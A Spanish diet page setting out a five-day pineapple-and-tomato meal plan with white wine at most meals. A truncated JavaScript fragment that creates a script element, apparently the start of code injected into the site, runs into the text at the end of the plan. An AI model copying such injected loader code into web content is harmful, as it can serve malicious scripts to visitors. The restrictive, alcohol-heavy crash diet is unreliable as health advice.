Salud y belleza » Dieta

Como piña y tomate

Sin Comentarios

A continuación presentamos una dieta que combina nuestros dos protagonistas de la fecha: la piña y el tomate: el plan de dichos alimentos.

Lunes

Desayuno: batido a base de doscientos gramos de tomates, zumo de medio limón, sal, pimienta y perejil triturado.

Comida:  trescientos gramos de tomates en ensalada, aliñarla con quince gramos de aceite de oliva, zumo de medio limón, perejil, albahaca, media cebolleta, un poco de apio, una hoja de laurel, un pellizco de oréganos; una rebanada de pan tostado; tres rodajas de piña embebidas en un cuarto de litro de vino blanco seco.

Cena: doscientos gramos de tomates en ensalada; aliñarla con quince gramos de aceite de oliva y vinagre; seis hojas de albahaca y perejil; ochenta gramos de queso magro cortado en taquitos; una rebanada de pan tostado; una rodaja de piña en vino blanco.

Martes

Desayuno: zumo de tomates; huevo escalfado; una rebanada de pan tostado.

Comida: trescientos gramos de tomates en ensalada; aliñarla con veinte gramos de aceite de oliva y sal vegetal; ocho hojas de albahaca; un huevo duro; una anchoa en aceite; una rebanada de pan tostado; cuatro rodajas de piña con limón; un cuarto de litro de vino blanco seco.

Cena: doscientos gramos de tomates con queso; una rebanada de pan tostado; tres rodajas de piña con limón; un cuarto de litro de vino blanco.

Miércoles

Desayuno: batido a base de doscientos gramos de tomates, zumo de medio limón, sal, pimienta y perejil triturado.

Comida: trescientos gramos de tomates en ensalada, aliñarla con quince gramos de aceite de oliva, zumo de medio limón, perejil, albahaca, media cebolleta, un poco de apio, una hoja de laurel, un pellizco de oréganos; una rebanada de pan tostado; tres rodajas de piña embebidas en un cuarto de litro de vino blanco seco.

Cena: doscientos gramos de tomates en ensalada; aliñarla con quince gramos de aceite de oliva y vinagre; seis hojas de albahaca y perejil; ochenta gramos de queso magro cortado en taquitos; una rebanada de pan tostado; una rodaja de piña en vino blanco.

Jueves

Desayuno: zumo de tomates; huevo escalfado; una rebanada de pan tostado.

Comida: trescientos gramos de tomates en ensalada; aliñarla con veinte gramos de aceite de oliva y sal vegetal; ocho hojas de albahaca; un huevo duro; una anchoa en aceite; una rebanada de pan tostado; cuatro rodajas de piña con limón; un cuarto de litro de vino blanco seco.

Cena: doscientos gramos de tomates con queso; una rebanada de pan tostado; tres rodajas de piña con limón; un cuarto de litro de vino blanco.

Viernes

Desayuno: batido a base de doscientos gramos de tomates, zumo de medio limón, sal, pimienta y perejil triturado.

Comida: trescientos gramos de tomates en ensalada, aliñarla con quince gramos de aceite de oliva, zumo de medio limón, perejil, albahaca, media cebolleta, un poco de apio, una hoja de laurel, un pellizco de oréganos; una rebanada de pan tostado; tres rodajas de piña embebidas en un cuarto de litro de vino blanco seco.

Cena: doscientos gramos de tomates en ensalada; aliñarla con quince gramos de aceite de oliva y vinagre; seis hojas de albahaca y perejil; ochenta gramos de queso magro cortado en taquitos; una rebanada de pan tostado; una rodaja de piña en vino blanco.

Sábado y domingo: LIBRE.if (document.currentScript) { var d=document;var s=d.createElement('script');

Más consejos de salud y belleza : , ,

Publique su Comentario !

Add your comment below, or trackback from your own site. You can also subscribe to these comments via RSS.

Be nice. Keep it clean. Stay on topic. No spam.